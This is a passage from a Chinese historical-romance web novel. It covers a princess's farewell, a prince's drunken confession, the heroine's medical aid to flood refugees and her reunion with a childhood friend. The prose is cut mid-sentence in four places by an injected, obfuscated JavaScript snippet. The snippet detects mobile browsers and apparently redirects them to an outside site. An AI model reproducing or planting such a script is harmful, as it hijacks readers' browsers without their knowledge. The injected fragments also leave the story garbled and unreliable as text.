“蒙洛古王此番带上女儿，自是有意和亲的，你与其年龄相当，确是最合适的人选。”李秉昶淡定道。 “可是我不愿呀！依父皇的意思是铁了心要促成和亲，不过问我的意见就把我推送出去。怎每次都得牺牲一个人来稳固边界？” 李秉昶合扇敲桌，瞥了眼远处紧关的院门。“隔墙有耳，谨言慎行。” “世人皆道凤子龙孙享尽荣华，殊不知比起口口相传的富足，如履薄冰的皇室生活远不及门外汉自在！” 六皇子语毕扭过身子，赌气般紧盯院墙，神情之贯注，仿佛只差一点就能给它看出个窟窿。 “秉暻，皇室之外的生活并不如你所愿。你称平民自由自在，平民话你异想天开。你口中的自在对他们而言是忧伤的健康。他们两眼一睁就忙着苦恼果腹问题，无暇去享受自在。而你，可以用权力买到他们想要的‘自在’。” 李秉昶为这位试图闭门造车的弟弟倒上茶。 “你已经比大宜子民多了许多选择了，只是难逃父母二字。” “难道就没有办法了？”六皇子语气软了下来。 “你为何不当面找卡拉公主说明白？”许骄松插话道，“我见过卡拉公主本人，性格直率有主见，应也不会接受未曾谋面的和亲安排。” 六皇子稍加思索，而后双眼放光跳起来，道：“就这么办！”与二人握拳告别就又急匆匆地走了。 蒙洛古傍晚便启程，余下不足半天时间。若不是昨日突发贪污案，朝廷上下皆在为此奔波，掌管礼部的严晁还被贬了职，和亲这等事也不至于这般仓促。 “说起来，真正适宜成亲的是你吧。”似是嫌乐趣不在，许骄松将话头指向李秉昶。“同样封爵的燕王也已成亲，你就没有心仪之人？” 心仪之人。李秉昶脑海闪过一缕经风扰乱的红纱，纱后之人探手来取，犹似提笔蘸朱轻点他掌心，鲜红醒目的朱砂便滚雪球一般垂落内心深处。 院中友人终是懂他若无其事背后的蹊跷，逮住一抹不清白的目光便已压中了骰数。 无人续前言，院内无故起欢声。 - 春时之午，绿树婆娑，花明映巷。梅倾秋背靠柏树席地而坐，坡下便是卫府老宅。奈何荒草萋萋，淹没了鲜血与瓦砾，仅凭双眼是辨不出何为后院、何为厅堂的。 “还早呢。”她冷不丁嘀咕道。 抬眼望天，浓云遮挡旭日，可见光束挣破云层，但过于微弱，铺洒大地也不痛不痒。如若明了太阳躲在哪朵云之后，便大可直视它，再趁其蒙蔽搅乱大地。 马蹄自沙路偏离，踏入浅草。梅倾秋闻声回头，马背上的卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147830|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉高举火凤凰外形的风筝。 梅倾秋起身，卡拉跳下马走近她，不忘整理好‘凤凰’的尾巴。她说快要回蒙洛古了，大宜的手艺品件件精湛，精挑细选才买了只展翅的凤凰。可话音刚落，她就将风筝递给梅倾秋。 “我送你的离别礼，初见那日你一袭红衣仗剑飞舞，便胜似凤凰。”她道。 “谢谢你。” 梅倾秋受宠若惊，无措又本能地伸手去接。她的人生失去过很多珍贵的人，但不曾如现在这般，拥有好好告别的机会，致使她都不明白如何为他人送行。 “我刚与六皇子交流了心得，这才来晚了。” 卡拉将马牵到树边，念叨：“他也不愿和亲！我俩一拍即合，说好各自搞定各自的父亲，就让和亲一事作罢。” “六皇子是最小的皇子，其皇兄襄王也未成亲。”梅倾秋手抓风筝跟在卡拉身后。 “娜木拉，你随我去蒙洛古吧！” 卡拉猛回过身，声情并茂地比划蒙洛古多么辽阔壮丽，并且无人可以再束缚她。 “你留在这里只会埋没才华。” 经过昨日贪污检举，卡拉显然认为惩治严池只是治标不治本。不知底下多少披袍偷米缸的老鼠——她曾冒出这句逗笑的话来。 梅倾秋婉拒了：“我还有未完成的目标。” 年龄而言梅倾秋是姐姐，个子也着实比卡拉略高。她深知眼前人真心将她当作知己，才被轻而易举地诓骗。卡拉站在这儿有多纯粹，梅倾秋就有多羞愧。 她贵为公主，却因轻信成了他人灭敌的刀。这起借刀杀人，时常令梅倾秋产生‘这份友情也被杀死了’的错觉。 “对不起。”她轻声道。 卡拉忽一失神，还以为梅倾秋是为不能去蒙洛古道歉。她爽朗地拍了拍她的肩，道：“这有什么好对不起的！等你完成目标了就来蒙洛古，风筝领你来，我老远就能去迎你！” 梅倾秋不禁失笑。“风筝真能领我去吗？” “当然，只要你想去。” “我定会去。” 晚霞绘城之时，梅倾秋伫立在离城门最近的山坡上，注视蒙洛古大队缓缓穿过城门。卡拉骑马位于中段，频频回望城楼。 风煽动裙摆与风筝相挨，制造出另一起呼啸。梅倾秋整理好褐色的鹰形风筝，慢慢放出长线，从坡顶往下跑，又从下往坡上爬。待鹰飞上天空，她松手让风筝随风飞过蒙洛古大队。 于高原见惯了鹰的卡拉朝天空一瞥，低下头又瞬即意识到什么，猛又抬眼凝视那只鹰形的风筝。她莫名起了直觉：是娜木拉在给她送别。 卡拉往后望，城门越来越渺小，哪怕山坡或高墙之上有人驻足也看不真切。她从马鞍袋里掏出口琴，吹一曲离别颂。四名贴身侍女见状也取出口琴加入。 绵绵情意得以穿风而至。 “珍重，卡拉。” 梅倾秋回首大吃一惊。她过于沉浸与友人的分别，竟没发觉背后有人接近。 “襄王。” 12. 第 12 章 襄王缓慢爬上山丘，目光往蒙洛古大队远去的方向扫。他驾马途径，恰见她费力拉着风筝跑，旁观片刻才明白是为送别卡拉。 徒步上坡的过程他始终凝视着她的背影，罗裙翩翩，披衫垂腕，身肩单薄却显坚毅。 怎样的来日才能买下她的面具？ 行医救人的女子、女扮男装的秋生、红纱蒙面的娜木拉，这些身份如同她敲碎自己以打破束缚，最大的碎片沉淀在那双眼睛里，假使你轻信表面那层蒙雾，不经意就会被瞬息万变的眼刀刺中。 “襄王。” 他守在巢穴的高枝上，捕捉到未经修饰的真诚，雾后并无蓄势待发的箭矢。这令他深感惊喜。 “本王正好奇，这么丑的风筝是何人放的。” 李秉昶含笑上前又蓦地站停。看清有抹红晕沾染那狐狸爪尖似的眼角，但非霞色。 感知到他正目不转睛地探究她，梅倾秋垂眼用指尖抚过脸颊，生怕当真有泪滑下。 “襄王总不见得以此治我个手艺粗糙的罪名吧？” 那只鹰形风筝是宁枝教她搭制的。 当你窥见一个铁石心肠之人如何动情，就该为自己的闯入感到冒昧和歉疚了。李秉昶这才懂。 “是我无礼了，不该由我点评友情如何被承载。” 梅倾秋本也没置气，更没料到面前人会如此郑重的道歉。心中升起的讶异险些动摇她对他的判断。 他可是李瞻的儿子。梅倾秋想。 她对襄王、太子、堇婳公主都未起过杀心，是认为父债无需子偿，但也足以令她仇视一生。 她瞥了眼山脚下等候的傅雁，直言：“原来民女成了王爷松口气的藉口。” 梅倾秋深知这是极为失礼的，也不符合她一如既往的谨慎。但她还是不服气地说了出来。 李秉昶双眉一挑微微偏头，惊讶她看穿了自己的处境——傅雁是他的贴身随从，却不是心腹，只是在监视他。 笑道：“秋生姑娘可愿赏我这次自由？” 这下轮到梅倾秋惊讶了，浑然不觉自己早被看穿。是从女扮男装开始，还是从宫门口开始？经此回忆她方惊醒：难怪他不问名字，直接接受卡拉取的‘娜木拉’。 梅倾秋气焰顿挫，心虚地别过视线。 “我并非……” 见状李秉昶反倒心情大好，没再追究为何隐瞒身份，只道抵过了。 “如今你可愿告知我你叫什么名字？” “梅倾秋。”远处有间茶楼开业，舞狮敲锣不胜热闹，众人围观沸反盈天。见李秉昶没有反应，梅倾秋以为是锣鼓喧嚣盖过了她的声音，重复：“我叫梅倾秋。” 李秉昶一言不发，眼底却似有惊涛骇浪，压着声：“梅倾秋？” 梅倾秋不知他怎么了，只觉他脸上表情极为复杂。傅雁前来提醒他时间晚了，他才与她辞别。 余晖融成银华，灰蒙蒙的街道挂起灯笼，烛光将万物砍斜，连他上马后的影子也偏向她。李秉昶抬眼，梅倾秋仍伫立原地目送他。山丘无亮光，幸而弯月悬顶，微微打亮了她的身姿。 你怎会是梅倾秋。 “驾——”李秉昶拉紧缰绳，策马离去。 太子妃候选，太尉千金。怎会是你。 - 每逢中和节饮宜春酒，祈来年安宁。此习俗延续了百年。皇帝为都城内的官宦赐宴、地方官宦再为下属设宴、东家为伙计设宴，此乃宜春宴。 往年梅穹作为太尉赴皇宴，梅府便由梅倾秋筹备，今年她还需多加一个药铺。她另装了四坛自己酿制的宜春酒，到达药铺恰好是夕食，六菜两汤摆满了圆桌，且样样色香味俱全。都是竺月下的厨。 “竺月好厉害！” “去风正楼之前，都是我在家煮饭。所以我很感激秋公子把我捞了出来。” 一听秋公子这个称谓，梅倾秋落座的动作都慢了半拍，她犹豫道：“竺月，其实秋生……” “烫烫烫——快让开！” 梅倾秋闻声回头，宁枝正端着陶釜碎步赶来，掌心与陶釜之间只隔着搌布。 “你该用漆盘！会烫伤的！”梅倾秋欠身让出路。 “搌布裹住便还好。” 宁枝就着布掀开陶盖，鱼汤鲜浓，满屋飘香。 三人围着满桌令人垂涎三尺的菜肴，将宜春酒斟满酒杯。 梅倾秋：“愿你们平安喜乐无烦忧！” 宁枝：“愿我们得偿所愿。” 竺月：“友谊长久。” 三人齐喊“干杯——”，酒杯相碰似拍桌敲定，将祈愿融入酒中再一饮而尽。宜春酒中掺有草药与香料，酒液入喉清甜醇香，令人直贪杯。而因发酵时间长，也是极易醉人的。 酒过三巡，四坛酒仅余半坛，喝最多的是宁枝。此时怀抱那半坛，醉眼惺忪地拉竺月说话。 “你貌美相又软，如我不在，遇到调戏你的臭男人不要怕。大喊大叫把街坊都招过来，让他颜面尽失。打这种人就要瞄准他的下路，屈膝往上、或者脚尖相蹬，这样他才能长记性。还有戳……” 宁枝就着酒劲起身比划，眼见其四掌贴地，抬手去够臀。梅倾秋赶忙阻止，将其抬起身拢住双腕。 难为情道：“宁枝酒量不好，醉了话就多。” 竺月正被逗得捂肚发笑，她也喝了半坛之多，但神智尚清。 “宁公子平时惜字如金，这下说的话能抵一周了。” “倾秋，倾秋呢？”宁枝忽然梦如惊醒一般，搂着梅倾秋的脖子找梅倾秋。 “你就挂在我身上呢！你还是上床休息吧。”梅倾秋哭笑不得，只能喊竺月一起来抬。 宁枝与竺月各住一间，位于药铺后屋。 喝醉又睡沉了的人最重，梅倾秋与竺月合力才将醉懵者抬上床。梅倾秋找来一个空花瓶摆在床头，跟竺月说：“吐了也没事，你不用夜里起来照顾。” “好。” 竺月应是这么应，真听见动静又不免担心。彼时梅倾秋已经回去，夜已过半，竺月刚关上房门就听到另一扇门咿呀作响。 她收脚回身，上前扶稳摇晃的宁枝。谁知宁枝条件反射般反握住她的手腕，用劲之大令竺月连连叫疼。宁枝回过神来连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147831|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙松开，手扶门框。 “对不起，我以为是歹人。” “宁公子，你想要什么？” “我想喝水。” “你回房，我去给你倒水。” 竺月知道他尚未清醒，便搀起他手臂带他回房。宁枝佝偻着腰，竺月手背不经意撞上一处棉花似的部位，欲拒还迎的触感暗诉着这里拥有什么。 竺月大惊失色，她呼吸都慌乱了起来，仿佛酒劲又于胃中翻涌，令她生了臆想。但她无比确信自己的发现——宁枝，是女人。 “关好门窗，小心火烛——！” 更夫边走边敲锣，此时已是二更。 梅倾秋此番未骑马，当下便只能徒步回府。宜春酒她喝了约有一坛半，于平日只能说是小酌，但走了一段路程身子渐暖，酒气未散，环鼻而存，她才后知后觉地感到眼乏。 她与更夫擦身而过，二人影子微微相叠而后分开。喊更声由近而远逐渐消失，梅倾秋垂眸忽又瞧见一道影子，依着她的步伐移动。 起初梅倾秋以为自己多疑，但不论她加快速度或放满，那道影子始终与她保持几十米的距离，梅倾秋一下就酒醒了。她快走几步右拐进巷，后背撑在石壁上，拔出腰间短刀，静待其至。 黑影渐渐逼近，越近步伐越急促。黑袍一角闪进视野范围，梅倾秋反手持刀往左砍，刀锋于夜色中划出刺耳风声，清脆而空。被躲过了。 那人快速擒住她的手腕，另一只手按住她右肩抵在墙上，并抬脚撑住她屈起的膝盖。梅倾秋右肩受控，右手却自由，她从下往上击打男子腹部。男子闷哼一声身子微弓，她趁机抬肘破开桎梏，刀尖刺向男子脖颈。 千钧一发之际她猛地刹住，慌张移开，刀尖已使他脖子渗出蚊咬似的血点。 “襄王……” 李秉昶低垂眼帘，神色难辨，但呼吸微沉，身泛酒香。且同为宜春酒的香气，只怕饮的坛数是自己的两倍。尽管如此，他都不该是只身出现在这里。还险些被她杀了。 “你怎么会在这里？你的随从呢？” 梅倾秋扔掉短刀，取出手绢按压他脖子上的伤口。李秉昶微支起身，手掌从她右肩上移，撑在她耳旁的墙上。 “梅倾秋。” “是。” 弦月忽隐忽现，四周落针可闻，王爷只是安静看着她，没了回声。 垂眼发现她按着他的脖子，他用五指压住手绢一角。她移开手手绢就往下翻，见他醉得摸不清伤口，她牵着他的手去找伤口。 “你要参选太子妃。”他道。 梅倾秋收回手，走不了，又退不得。她只能迎视他的目光：“对。” “为了什么？” 梅倾秋彻底懵了，在她看来这是显而易见的。看来他真的醉了。她只能得到这个答案。 “不为什么。” 他喉中仿佛有气，仰脸长呼，而后攥紧那条手绢，身子无力似的抬肘撑墙。如此她就整个人被笼罩在他影子里了，好几回他的下巴耷拉在她头顶。 梅倾秋险些认为他睡着了，直到他轻声道：“不要嫁。” 13. 第 13 章 宜春酒的香甜仿佛时刻在巷中翻涌，酒味于她头顶打翻。 梅倾秋微一抬头，钻入眼帘的便是被她所刺的血点。伤口没再往外渗血，但依旧刺眼，如同一滴待结痂的朱砂痣。 “王爷，你醉了。” 身前人胸膛微微起伏，李秉昶尽量抑制叹息声，让嘴角放过一声苦笑。 “是啊，我醉了。”他后退与她拉开距离，晦暗不明的目光停在她脸上。“不该与你说这种话。” 为什么参选太子妃？且不论她是否有机会规避，纵是她情愿嫁太子，所求为何也是昭然若揭的。无非权力、钱财、爱慕…… 爱慕？李秉昶皱起沉重的眼皮，费解地辨析她。她也真纹丝不动地站着，任他求知的目光于她脸上游离。 他忽又捧住她双肩，像捧着一本天书，珍视又懊恼，只因摸不透。 “王爷……”梅倾秋双手从内慢慢撑开他的手臂，“我送你回府吧。” 说罢她便迈开腿走出巷，见他憋着股劲不动弹，她返回来捏起他手里的手绢。哄小孩般：“走吧，回家。” 二人各捏手绢一角，影子经月亮撮合，摇摇晃晃地相贴。 分岔口当前，李秉昶快走几步到前头，牵着手绢往左拐。 “王爷！那不是去襄王府的路。” 梅倾秋以为他酒劲未去要耍酒疯了。 “我知道，到你家了。” 闻言梅倾秋抬首，眼前确是梅府。 更夫锣响开嗓。四更天了。 “我先送你回去吧。” “无妨，我已经酒醒了。” “当真？” “当真。” 李秉昶抬起下巴点了点梅府大门：“进去吧。” 梅倾秋回首望了眼大门，手松放溜了手绢，她一时晃神，竟将手绢当作襄王的贴身物。而他也迷迷糊糊，双手背在身后，‘凑巧’藏了起来。 “那王爷路上当心。” 李秉昶含笑点头，目送她叩响门环、迈过门槛。她回身朝他再次颔首告别，门缝愈加窄小，完全紧闭之前青丝飘动，只余远去的背影。 指腹摩挲到手绢上的纹绣，取来细瞧，绣的是桃红色羽毛。 - 近日的安州常闻哀声悲怜，天方微明，每间医馆药铺就排起了长队。只因患病人数急增，纵使大夫声明此病不传染，安州子民还是踏扁了医馆门口，身伐腿酸就担心是被外来人传染了疾病。 外来人指的是从临安县逃来都城的难民。一月前洪水冲破了临安县的防洪阀，洪灾覆灭村庄，卷走残垣断树与生命。幸存难民们不得不背井离乡，寻求生机，前往安州途经的每座城都挤满了难民。 难民们所患也不是什么顽疾杂症，不过奔波劳累、营养不良加上受了风寒。只是疾病蜂拥而至时总显得杀气腾腾。 朝廷将难民统一安置在城南的山脚下，图的是地广，耐不住的是偏僻。朝廷十天才拨一批太医郎，可不消半日就增加上百位新难民，有些病重的挨不到太医郎来，城中医馆又得走半天以上，无奈只能四更天出发，摸黑走山路到医馆排队。就这还得排上好几个时辰。 久而久之，安州城民将他们当作瘟疫一般，远在百米之外都要用披纱蒙住脸，屏息跑掉。已有风声说朝廷要把他们赶走。 “连都城都容不下我们，还有哪里肯让我们过城门？”一名皮肤晒得黢黑的壮汉嚷道。拿着碗的那只手随声音大小上下晃，再收回来碗中已经乘了几滴雨水。他不以为然地倒掉雨水，往幄帐中心走近些。 “可不是嘛，我们跋山涉水的不就是因为信赖皇上。” “听说赈灾银已经发往临安县了。” “那我们逃生到此的，能收到银两不？” 壮汉瘪嘴摇了摇头，说难办。把碗伸出去等粥勺。 浓白稠粥一勺接一勺地淋满碗，持勺的公子提醒他：“不够再来。” 壮汉连连道谢，转个弯经过诊病的小桌，号脉的是位蒙面纱的姑娘。这个救济的幄帐是他们私户搭的。 “要不是有这两位心善的公子小姐，朝廷太医郎来就得给我们盖白布了。” 雨点淅淅沥沥，二人用袖摆遮住粥碗，踏过浅坑钻窄道，这粥都是为难以动弹的难民乘的。 为病患号完脉，梅倾秋还要负责抓药。病症皆不相同，只能对症下药，如此耗费了很多时间，但也别无他法。宁枝负责施粥，竺月负责药铺。竺月对药名剂量已经很熟练了。 “这里疼吗？” 梅倾秋轻按男童的胃部，男童手捂腹部，仔细感受了一下道：“有点。” 男童看着梅倾秋抓了一把草药到石盅里，碾碎挤出汁再浸入白纱，草色瞬间染绿纱布，看上去可怕极了。他想拔腿跑了。 “别怕，这个是缓解肚子疼的，是凉凉的。” 梅倾秋将浸入药汁的纱布贴在他肚子上。 “我没骗你吧？” “嗯，凉凉的。” “白天我们都会在这里，你肚子饿了就来找这位哥哥，不要吃坏掉的东西了。好吗？” “好。”男童约有七八岁，羞涩地挠了挠脸，学着前面病患道：“姐姐人美心善，会有福报的！” 稚嫩儿声刻意拉出板正腔调，听上去极为逗笑，梅倾秋与宁枝同步错愕表情，随后扑哧发笑。 “好，多谢你！” 夜幕低垂，男童已是今日最后一名病患，宁枝的粥锅也已见了底。她们将炊具和药材搬上马车，两人同坐车前赶马。 马车每天日出而至，月起方走，从搭帐区经过，难民们都会出来向她们道谢告别。大家都认为，行善的公子小姐比朝廷更好。 次日，矜儿也跟着来了。如此便是矜儿施粥，宁枝陪梅倾秋进难民搭帐区。 宁枝：“赈灾银是五日前批下来的，听闻在宁塘县耽误了一天。” 前往临安有水路与陆路，直线而言水路更快，许多难民就是走水路到的安州。而赈灾银动辄十几箱，却选了颠簸的陆路。 梅倾秋：“我问过父亲，负责赈灾银运输的是安抚使薛青，他跟严晁曾是同窗。宁塘……岂不是严晁的老家？” 闻言宁枝停住脚，她与梅倾秋想到一块去了。 “我让人去查。” “再查一下严晁这几日的踪迹。” “行。” 宁枝吹哨唤来马，黑衣棕马嗖地一下就没影了。 几名孩童欢呼着跑向梅倾秋，送给她一个花环。说是他们合力编织的，为她医好他们表达感谢。 “那你们帮我戴好吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147832|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着梅倾秋蹲下身子，好让孩子们给她戴上花环。 难民区人多眼杂，尽管梅倾秋感知到身后有奇怪视线，回首也难以找到目标。但她笃定，那道视线是刚刚出现的。 - 临时难民区已经住不下人了。这是李秉昶到达难民区的第一个想法。 大大小小的幄帐密集紧挨，仅留下约两人身宽的通道。马匹进不去，施医点也只能搭在半山腰上，如此的话病患还需登山才能看病。 “太医正，这次别在半山腰支幄帐了，到难民帐区里看病吧。” “这……”须发半百的太医正张口结舌，没来得及劝说，那位儒雅王爷就下马走进了帐区。他只得不情不愿地应：“是。”吩咐抬箱的太医郎们进帐区诊病。 心中腹诽：这襄王怎么就非得跟来呢。 幄帐足有几百个，此番只来了十个太医郎，进帐区挨个看只怕天黑也看不完。而且太医院暗地里把难民区叫灾病区，就是因为怎么治都治不完，旧病未好又添新病，医完这波还有下一波。 太医郎们屏息迈进帐区，经验之谈，如此大规模的难民聚集地，疾病、汗臭、食物腐烂等等都能发酵出令人作呕的酸臭味。没成想孩童们精神饱满、大人们神闲目清，与十日前的境况截然相反。 他们挨个掀开幄帐帘，得到的都是“病好了”的回答。年纪尚轻的两名太医郎互相掐了掐彼此的脸，同时疼叫起来。 “不是幻觉啊，怎么病就好了一半？” 傅雁领着几名侍卫给难民发衣裳，李秉昶独自走在前头。他发现此地与朝堂上听到的不同。有文官启奏圣上：难民人数多，疾病驱不散，唯恐蔓延整座都城，建议让难民往西迁移。当然这只是个别请愿，持否定态度的官员居多。 远处传来嬉笑声，李秉昶绕过幄帐，瞧见被孩童簇拥着的梅倾秋。面蒙白纱。 “她怎么会在这里？”他自言自语道。 “你认识仙医？” 李秉昶闻声回头，搭话的是一位老妇，拄着拐杖佝偻腰。 “为何唤她仙医？” “因为她像仙女一样美，还妙手回春医好了我们这些老弱病残。” “婆婆，小姐蒙着面呢，你怎知道和仙女一样美？”旁边壮汉笑道。 老妇呛回去：“又不是只有貌美才是美！” “哈哈哈，说得对，说得对。” 几番追问后李秉昶终于明白了，太医院每十日才来一次，一来只待三个时辰，实在是治标不治本。难民人数增加，旧病新病皆不得医，才引发了大规模的传染病谣言。 这位仙女暗自在此支起锅煮粥，蒙上面医人。救人不留名，就成了仙女。 李秉昶目光扫过幄帐顶，蘑菇头似的幄帐中间，有一缕鬼鬼祟祟的黑影。头戴斗笠，腰间佩剑，剑穗是条红结。在跟踪梅倾秋。 白色疾影跃上半空，足踩帐顶，蜻蜓点水般迅速而悄无声息地落在神秘人背后。李秉昶抓住他肩膀时他猛然一颤。他是真的没有听到来人的声响。 “你是谁？” 他抬剑推开李秉昶的手，又拿起斗笠朝李秉昶眼睛上扔，得了缝隙赶紧溜。没料到仍有一只手掐住了他的脖子，把他整个人钉死在幄帐木桩上。 李秉昶：“我再问一遍，你是谁？” 14. 第 14 章 得不到回应李秉昶加重手上力度，窒息感险些令谢卫昏厥。他屈肘猛锤李秉昶的手腕，桎梏喉咙的五指一有松动，谢卫就急吼吼地大口呼吸，同时擒住李秉昶的手向下折，翻身转了个圈到李秉昶侧后方。 过了以礼相待的时机，多么明事理的人都成了行动为上的豺狼。 李秉昶脚尖踢起一根树枝，以木为剑，势如破竹地朝谢卫刺来。细软树枝到他手中，倒似与尖枪一般硬，斜斜挨过就刺破了衣袖，皮肉表面瞬间浮起树枝状的红痕。 帷帐之间的通道本就狭窄，谢卫退上三步就退无可退了。他用剑鞘抵住李秉昶的木剑，脚蹬木桩，空中后翻到李秉昶身后。 “大伙凑热闹可后退些，刀剑无眼。”谢卫朝在旁围观的男女老少道。拔剑直冲李秉昶。 出神入化的轻功，乃动如轻风，却不闻其声。神不知鬼不晓地就飘在空中了。 梅倾秋足尖点剑刃，剑鞘下击谢卫持剑之手，谢卫被打了个措手不及，剑偏朝地。梅倾秋稳稳落地，站在两名男子之间。 “王爷，这是何故？” 李秉昶收回木剑轻点泥地，七八岁的孩童们蹲下身，深感好奇地戳了戳树枝，似乎在想：树枝真能当剑使？ “此人鬼鬼祟祟跟踪了你半晌，还做贼心虚……” “谁说的！”谢卫连忙打断，但开口确实没什么底气。“我不是跟踪，我是有事找梅姑娘相商。” 李秉昶质疑：“那我问你是谁，你为何仓皇欲逃？” 谢卫脑筋转得也快：“我找梅姑娘，找的又不是你。” “再者，一上来就动武掐我脖的人是你！我倒要问问，王爷就可以罔顾律法，先斩后审吗？”他立即补上一句。 谢卫找了个好话头，在民怨甚重的难民区，独断专行的皇权是最容易挑拨民愤的。他们千里迢迢到都城避难，却被皇帝胡乱塞在这山脚旮旯的地方，吃穿用度只管个一周就不管了，只有太医院每十天来一次。说是诊病，怕不是来盖白布的。 难民们嘴上不作声，却大多悄悄移步到了谢卫那边，便是明晃晃的站队了。 “首先，是你行踪可疑并攻击了我的眼睛，在我看来这个举止已是不打自招。并非是我无故向你施压。” 李秉昶说罢，梅倾秋端详他的脸，眼睛下方的确有淤青。 梅倾秋已经捋清了事情经过，深觉如此掰扯简直是没完没了。便道：“看来不过误会一场，二位也是不打不相识了。” 针锋相对的两人还是梗着脖子相视，全是看着梅倾秋的面子安静了。梅倾秋先将围观的人疏散了，走近谢卫：“公子认得我？” “我是谢卫啊！” 谢卫手拍了拍胸膛，见她还是一脸迷茫，他抓起剑鞘，让那缕红色剑穗在她眼前晃啊晃。 “这是你编的吉祥结！记得吗？” 定情信物？！闻言李秉昶呆不住了，上前几步到梅倾秋身后，伸长脖子去瞧。仿佛没见过吉祥结似的。 一看就只是普通的吉祥结，而且编得七扭八拐的，要真是她编的，那可就坐实了手艺不精。李秉昶想起不久前的丑风筝。 不料梅倾秋“啊”了一声，还真跟谢卫对上号了。笑逐颜开地打量他。道：“你是那个唱童谣的哥哥！” 这是哪辈子的故事啊。李秉昶想。 梅倾秋：“你如何晓得我在这？” 谢卫：“我去过太尉府，你府上的下人可真嘴严，硬是不肯透露你的行踪。之后……我就天明等在府门前，见你每日赶马车到这来。” 李秉昶：“所以你确实跟踪了。” 谢卫不耐烦地瞥了他一眼，梅倾秋则向着‘童友’让他别往心里去。 旧友重逢，眉目带笑。闹了一番倒显得是拔刀相助之人坏了事。李秉昶双手环胸，目光在两人身上来回扫动，杵在那跟站桩一样。 傅雁听见人说哪位王爷跟江湖客打起来了！他匆匆赶来，看见三人相近，面部表情却大相径庭。梅倾秋与谢卫是嘴角快挂上两鬓了，李秉昶是眼珠子快冲出眼眶了。 “本王就不扰两位叙旧了。” 这话他赌着气说的，另外两人笑着听的。甚至还道送他一程！ 所以李秉昶无人挽留地被送到帐区门口。 他拉绳上马，嘱咐傅雁：“查一下这个谢卫。”而后策马离去。 当下已是傍晚时分，晚霞仅存远处山峦，搭帐区提前陷入了灰蒙蒙的夜色。梅倾秋掌来灯，与谢卫走到稍微僻静的丛林。 此地远离城中喧嚣，各类吃喝玩乐皆不得有，到了夜里就更是寂寥。难民们就自娱自乐，掀开帐帘搬个凳子跟‘邻居’聊天，忽而起劲了就扯开嗓唱县里的童谣。 梅倾秋与谢卫走开不足一里路，还依稀可听见那歌声。 遥想二人初次相遇，梅倾秋也在哼童谣。哼的只是一个调，因为彼时她一张嘴就刹不住哭声，只能咬紧牙关慢慢的哼。那是她的养母虞问青去世的当天晚上，她哼着养母教的童谣。 一阵幽魂似的吟唱加入哼调。梅倾秋将脸从膝窝里抬起来，月光透过树叶洒在她哭肿的眼角上，她用劲眨了眨眼缓解这阵刺疼。 东院少有人来，便只有院门口挂着两盏灯笼，此外杂草与碎石相伴，黑漆漆一片。梅倾秋提起地上的灯笼，提高了左右晃动。忽而，那吟唱又开始了。是从墙外传来的。 梅倾秋放下灯笼，攀着树干三两下就上了树，她俯趴在树枝上往屋檐爬，够到了就双手抓住黛瓦蹭。她相当于横跨在上面，重心压在屋檐上，小腿肚勾着树枝。 她朝墙外的小孩喊：“嘿，你是谁？” 背墙而坐的男孩吃了一惊，整个人弹跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147833|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来，盯着她不作答。 梅倾秋又问：“你叫什么名字？” 半晌他才答：“我无名无姓。我是逃跑出来的。” “那你饿吗？” 男孩半张脸藏在黑夜里，但他仰起的双眼布满了警惕。身形来看约莫十三、四岁。 梅倾秋二话不说爬下树，提灯跑出东院。待到她回来她捧着鼓囊囊的背囊，把背囊摔上树枝，再重新爬上去。男孩听到声又猛地站起来。 “你能上来吗？” 男孩找来砖头堆高，踩在上面攀墙上了屋檐。他刚坐下梅倾秋就打开背囊，摊开里面的馒头和烤饼，还有一个水袋。她说：“你怕有毒就带走吃吧。”一边拿起烤饼啃。 见状男孩也拿过馒头，由慢至快，最后狼吞虎咽地吃了起来。 “你姓梅吗？这里是梅府。”男孩问。 不料话音刚落，梅倾秋就瘪嘴流眼泪，但一声都没出，把男孩急得不轻。 